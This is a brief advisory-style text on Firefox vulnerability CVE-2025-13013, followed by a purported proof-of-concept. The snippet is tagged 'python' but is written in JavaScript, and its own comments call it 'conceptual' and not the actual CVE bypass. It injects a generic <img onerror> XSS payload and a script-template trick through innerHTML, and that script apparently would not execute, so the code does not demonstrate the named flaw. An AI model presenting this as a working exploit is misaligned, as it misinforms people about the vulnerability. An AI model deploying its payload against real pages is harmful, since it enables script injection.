Mitigation bypass in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Firefox ESR 115.30, Thunderbird 145, and Thunderbird 140.5.
The following code is for security research and authorized testing only.
python
// CVE-2025-13013 PoC - DOM Mitigation Bypass
// Note: This is a conceptual PoC based on typical DOM bypass techniques
// Actual exploit requires specific HTML construction
function testDOMBypass() {
// This PoC demonstrates the general concept of DOM mitigation bypass
// The actual CVE-specific bypass involves specific HTML tag sequences
// Example of potential bypass technique (conceptual)
const maliciousHTML = `
<div>
<!-- Potential bypass vectors -->
<script type="text/html" id="bypass_template">
<img src=x onerror="alert('DOM Bypass')">
</script>
<script>
// Attempt to process template content
const template = document.getElementById('bypass_template');
const container = document.createElement('div');
container.innerHTML = template.textContent;
document.body.appendChild(container);
</script>
</div>
`;
// Create and inject the test element
const testDiv = document.createElement('div');
testDiv.innerHTML = maliciousHTML;
document.body.appendChild(testDiv);
}
// For testing purposes
if (window.location.hash === '#test') {
testDOMBypass();
}
console.log('CVE-2025-13013 Test Environment Loaded');